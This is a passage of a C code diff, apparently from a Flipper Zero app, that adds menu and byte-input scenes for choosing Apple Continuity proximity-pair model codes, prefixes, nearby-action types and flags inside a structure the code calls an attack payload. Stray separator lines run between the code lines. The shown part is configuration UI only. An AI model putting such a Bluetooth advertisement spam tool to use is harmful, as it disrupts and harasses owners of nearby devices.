+ selected = pp_models_count + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ submenu_set_selected_item(submenu, selected);
|
|
|
|
|
+
|
|
|
|
|
+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
|
|
|
|
+}
|
|
|
|
|
+bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+ UNUSED(event);
|
|
|
|
|
+ return false;
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_pp_model_on_exit(void* _ctx) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+static void pp_model_custom_callback(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ ByteInput* byte_input = ctx->byte_input;
|
|
|
|
|
+
|
|
|
|
|
+ byte_input_set_header_text(byte_input, "Enter custom Model Code");
|
|
|
|
|
+
|
|
|
|
|
+ ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
|
|
|
|
|
+ ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
|
|
|
|
|
+
|
|
|
|
|
+ byte_input_set_result_callback(
|
|
|
|
|
+ byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
|
|
|
|
|
+
|
|
|
|
|
+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
|
|
|
|
+}
|
|
|
|
|
+bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+ UNUSED(event);
|
|
|
|
|
+ return false;
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+static void pp_prefix_callback(void* _ctx, uint32_t index) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ switch(index) {
|
|
|
|
|
+ case 0:
|
|
|
|
|
+ cfg->data.proximity_pair.prefix = 0x00;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ break;
|
|
|
|
|
+ case pp_prefixes_count + 1:
|
|
|
|
|
+ scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
|
|
|
|
|
+ break;
|
|
|
|
|
+ default:
|
|
|
|
|
+ cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_pp_prefix_on_enter(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ Submenu* submenu = ctx->submenu;
|
|
|
|
|
+ uint32_t selected = 0;
|
|
|
|
|
+ bool found = false;
|
|
|
|
|
+ submenu_reset(submenu);
|
|
|
|
|
+
|
|
|
|
|
+ submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
|
|
|
|
|
+ if(cfg->data.proximity_pair.prefix == 0x00) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
+ selected = 0;
|
|
|
|
|
+ }
|
|
|
|
|
+ for(uint8_t i = 0; i < pp_prefixes_count; i++) {
|
|
|
|
|
+ submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
|
|
|
|
|
+ if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
+ selected = i + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
|
|
|
|
|
+ if(!found) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
+ selected = pp_prefixes_count + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ submenu_set_selected_item(submenu, selected);
|
|
|
|
|
+
|
|
|
|
|
+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
|
|
|
|
+}
|
|
|
|
|
+bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+ UNUSED(event);
|
|
|
|
|
+ return false;
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_pp_prefix_on_exit(void* _ctx) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+static void pp_prefix_custom_callback(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ ByteInput* byte_input = ctx->byte_input;
|
|
|
|
|
+
|
|
|
|
|
+ byte_input_set_header_text(byte_input, "Enter custom Prefix");
|
|
|
|
|
+
|
|
|
|
|
+ ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
|
|
|
|
|
+
|
|
|
|
|
+ byte_input_set_result_callback(
|
|
|
|
|
+ byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
|
|
|
|
|
+
|
|
|
|
|
+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
|
|
|
|
+}
|
|
|
|
|
+bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+ UNUSED(event);
|
|
|
|
|
+ return false;
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+static void na_action_callback(void* _ctx, uint32_t index) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ switch(index) {
|
|
|
|
|
+ case 0:
|
|
|
|
|
+ cfg->data.nearby_action.action = 0x00;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ break;
|
|
|
|
|
+ case na_actions_count + 1:
|
|
|
|
|
+ scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
|
|
|
|
|
+ break;
|
|
|
|
|
+ default:
|
|
|
|
|
+ cfg->data.nearby_action.action = na_actions[index - 1].value;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_na_action_on_enter(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ Submenu* submenu = ctx->submenu;
|
|
|
|
|
+ uint32_t selected = 0;
|
|
|
|
|
+ bool found = false;
|
|
|
|
|
+ submenu_reset(submenu);
|
|
|
|
|
+
|
|
|
|
|
+ submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
|
|
|
|
|
+ if(cfg->data.nearby_action.action == 0x00) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
+ selected = 0;
|
|
|
|
|
+ }
|
|
|
|
|
+ for(uint8_t i = 0; i < na_actions_count; i++) {
|
|
|
|
|
+ submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
|
|
|
|
|
+ if(!found && cfg->data.nearby_action.action == na_actions[i].value) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
+ selected = i + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
|
|
|
|
|
+ if(!found) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
+ selected = na_actions_count + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ submenu_set_selected_item(submenu, selected);
|
|
|
|
|
+
|
|
|
|
|
+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
|
|
|
|
+}
|
|
|
|
|
+bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+ UNUSED(event);
|
|
|
|
|
+ return false;
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_na_action_on_exit(void* _ctx) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+static void na_action_custom_callback(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_na_action_custom_on_enter(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ ByteInput* byte_input = ctx->byte_input;
|
|
|
|
|
+
|
|
|
|
|
+ byte_input_set_header_text(byte_input, "Enter custom Action Type");
|
|
|
|
|
+
|
|
|
|
|
+ ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
|
|
|
|
|
+
|
|
|
|
|
+ byte_input_set_result_callback(
|
|
|
|
|
+ byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
|
|
|
|
|
+
|
|
|
|
|
+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
|
|
|
|
+}
|
|
|
|
|
+bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
|
|
|
|
+ UNUSED(_ctx);
|
|
|
|
|
+ UNUSED(event);
|
|
|
|
|
+ return false;
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_na_action_custom_on_exit(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+static void na_flags_callback(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_na_flags_on_enter(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ ByteInput* byte_input = ctx->byte_input;
|
|
|
|
|
+
|
|
|
|
|
+ byte_input_set_header_text(byte_input, "Press back for automatic");
|
|
|
|
|
+
|
|
|
|
|
+ ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
|
|
|
|
|
+
|
|
|
|
|
+ byte_input_set_result_callback(
|
|
|
|
|
+ byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
|
|
|
|
|
+
|
|
|
|
|
+ view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
|
|
|
|
+}
|
|
|
|
|
+bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ if(event.type == SceneManagerEventTypeBack) {
|
|
|
|
|
+ ctx->byte_store[0] = 0x00;
|
|
|
|
|
+ }
|
|
|
|
|
+ return false;
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_na_flags_on_exit(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
|
|
|
|
|
+}
|